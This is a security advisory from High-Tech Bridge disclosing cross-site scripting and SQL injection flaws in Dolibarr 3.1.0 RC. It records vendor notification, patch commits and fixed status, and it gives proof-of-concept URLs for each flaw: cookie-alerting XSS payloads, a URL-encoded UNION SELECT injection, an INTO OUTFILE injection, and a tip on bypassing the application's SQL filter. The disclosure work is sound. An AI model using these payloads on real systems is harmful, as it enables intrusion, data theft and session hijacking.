Dolibarr version 3.1.0 RC suffers from cross site scripting and remote SQL injection vulnerabilities.
aef4bbabd3173ece6416b5ba1cd5f7f6dce42fbb854cd7f08f1b53976a504a56
Vulnerability ID: HTB23056
Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.html
Product: Dolibarr
Vendor: Dolibarr foundation ( http://www.dolibarr.org/ )
Vulnerable Version: 3.1.0 RC and probably prior
Tested Version: 3.1.0 RC
Vendor Notification: 02 November 2011
Vulnerability Type: XSS, SQL Injection
Status: Fixed by Vendor
Risk level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dolibarr, which can be exploited to perform cross-site scripting & sql injection attacks.
1) Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://[host]/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://[host]/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://[host]/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default")
2) Input passed via the "sortfield", "sortorder" and "sall" GET parameters to /user/index.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14%20--%20
http://[host]/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://[host]/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
3) Input passed via the "id" GET parameter to /user/info.php, /user/perms.php, /user/param_ihm.php, /user/note.php, /user/fiche.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/info.php?id=1 INTO OUTFILE '../../../tmp/example'
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
4) Input passed via the "rowid" GET parameter to /admin/boxes.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
5) Input passed via the "sortfield" & "sortorder" & "sall" GET parameters to /user/group/index.php
is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE
http://[host]/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CODE_HERE
http://[host]/user/group/index.php?sall=SQL_CODE_HERE
Successful exploitation of this vulnerability requires attacker to be registered and logged-in.
To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique.
6) Input appended to the URL after multiple files is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site
The following PoC code is available:
http://[host]/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
http://[host]/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E
Solution: Several patches were added into 3.1 and into develop branch:
https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675
https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1
https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a
https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91
Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.